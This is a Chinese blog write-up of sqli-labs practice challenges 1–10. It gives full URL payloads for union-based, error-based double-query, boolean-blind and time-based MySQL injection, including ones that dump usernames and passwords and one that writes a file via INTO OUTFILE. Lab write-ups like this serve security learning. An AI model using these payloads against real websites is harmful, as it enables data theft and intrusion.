2018-06-04-sqli(Basic Challenges)1-10

Challenge 1:

手动加上参数id=1,然后自己手动加上',先测试他是什么类型,有可能数字参数,字符参数等,不一样。

这里顺便说一下mysql注释符号1.#   2.--+  3./*...*/

图一


结果如下:


图二

发现limit0,1那里的1多了一个单引号,说明是字符型注入,所以直接上


图三

order by后面的需要加入数字,尽量从大数开始,比如order by 3能成功,order by 4不能成功,因此说明字段数为3.

其实这里应该这么理解,因为他是字符型注入,所以需要闭合,因此我们加上'他会出错,所以可以直接判断为字符型参数。而出现错误,说明他没有处理单引号,所以有可能出现sql注入。

首先获取数据库名称,构造payload如下所示:

http://43.245.223.123/sqli-labs/Less-1/?id=0%27%20UNION%20SELECT%201,GROUP_CONCAT(SCHEMA_NAME),3%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20--+

结果如下:

图四

这里注意一下,union查询是用于合并两个或多个查询语句的结果集,但是输出只有两个位置,因此前面的id不能为真,因为如果是真的话会出现后面的位置无法输出,因此这里的id=0'或者id=99999'都是可以的。

接着获取表名:

payload: http://43.245.223.123/sqli-labs/Less-1/?id=0%27%20UNION%20SELECT%201,GROUP_CONCAT(TABLE_NAME),3%20FROM%20INFORMATION_SCHEMA.TABLES%20%20where%20table_schema=0x7365637572697479--+

其中table_schema为“security”的十六进制表示,结果如下所示:


图五

接着获取列名:

payload:   http://43.245.223.123/sqli-labs/Less-1/?id=0%27%20UNION%20SELECT%201,GROUP_CONCAT(COLUMN_NAME),3%20FROM%20INFORMATION_SCHEMA.COLUMNS%20%20where%20table_name=0x7573657273--+


图六

接着获取数据:

payload:http://43.245.223.123/sqli-labs/Less-1/?id=0%27%20union%20select%201,group_concat(username,0x3a,password,0x20),3%20from%20security.users%20--+

结果如下所示:


图七

Challenge 2:

这道题目是基于整数的注入,按照第一道题目的思路,我们可以加上payload:id=1'发现出错,然后

再试下注释后面额东西,payload如下:id=1'--+发现还是出错,就说明是肯定不是字符型,为整数型,

图八

我们顺便科普一下两个函数,一个是group_concat:将列进行合并为一列,一个是concat:连接两个或者多个不为一列的数组。。

接着获取数据库名称,payload如下所示:

http://43.245.223.123/sqli-labs/Less-2/?id=99%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%20--+

如图:


图九

接着获取表名:

payload构造如下所示:


图十

接着获取字段名:

payload如下所示:

http://43.245.223.123/sqli-labs/Less-2/?id=99%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%22users%22%20--+

上图:


图十一

接着获取数据:

payload:构造如下

http://43.245.223.123/sqli-labs/Less-2/?id=99%20union%20select%201,group_concat(username,0x3a,password,0x20),3%20from%20security.users%20--+

结果如下:


图12

Challenge 3:

第三个题目是单引号加上括号类型,主要是加上id=1时候没出问题,然后用\来测试,发现如下:


图13

发现报错里面是有括号还有这是字符串类型,所以可以直接构造payload:?id=1')--+直接就可以了。

然后就是获取信息,payload构造如下所示:

http://43.245.223.123/sqli-labs/Less-3/?id=0%27)%20union%20select%201,group_concat(username,0x3a,password,0x20),3%20from%20security.users--+

然后就是结果如下:


图14

这里注意注意一个问题,前面的id一定要等于一个不存在的值!!!!!!!

Challenge 4:

第四题经过题目提示是双引号字符串,然后我试了一下,如下:


图14

我先试了一下,发现是有括号的参数输入,然后就是

图15

没加上注释符号出错,加上注释符号就可以了说明后面被注释掉了,所以这么做是能成功绕过的。

Challenge 5:

这里更新一些Mysql的数据操作,上几张图:


图八

show databases;       use database_name;  #记得后面都要加上;来结束

展示表的细节是desc table_name; 查询某个数据库特有的表如下:


图九

可以构造这样的payload:http://43.245.223.123/sqli-labs/Less-1/?id=99999%27%20union%20select%201,table_name,current_user()%20from%20information_schema.tables%20where%20table_schema=%22security%22%20--+   ,效果如下图:


图10

直接得出表名和current_user,不知道数据库名称的话,可以直接用上database()代替进行了.

但这道题目的重点是要进行单引号双注入查询,因此可以进行一波操作。


图11

payload如下所示:

http://43.245.223.123/sqli-labs/Less-5/?id=1%27%20union%20select%201,count(*),concat((select%20database()),floor(rand()*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a--+

challenge 6:

和第五题一样,只不过包括的方式不同,主要还是训练你双查询注入,原理可以看另一篇文章

payload: http://43.245.223.123/sqli-labs/Less-6/?id=0%22%20union%20select%201,count(*),concat((select%20database()),floor(rand()*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a--+

如下图:


图12

challenge 7:

第七题权限不够,实现不了,不过可以写写如何做,主要有两个条件,首先要知道secure-file-priv的值,linux下面是放在my.cnf中,这文件在/etc下面,然后就是要有root权限,或者这题目里面应该说是写权限,才能成功执行该语句,payload如下:

http://43.245.223.123/sqli-labs/Less-7/?id=1%22%20union%20select%201,2,database()%20into%20%20outfile%20%221.txt%22--+

challenge 8:

这道题目是基于布尔值的盲注,主要是你不能看到什么报错信息,因此只能通过简单的网页显示对错来判断,你可以构造如下payload:   http://43.245.223.123/sqli-labs/Less-8/?id=1%27%20and%20ascii(substr((select%20database()),1,1))%3C90--+

先猜数据库名称长度,再猜名字字母,再猜数据库表什么的,后面的就用sqlmap了。


图十三


图十四

challenge 9:

这道题目主要是基于时间盲注,最常用的函数是if函数和sleep函数,用法如下:


图十五

主要用and来连接,理解了就没啥好说的。

Challenge 10:


图16

这道题是双引号闭合,没啥说的。

你可能感兴趣的:(2018-06-04-sqli(Basic Challenges)1-10)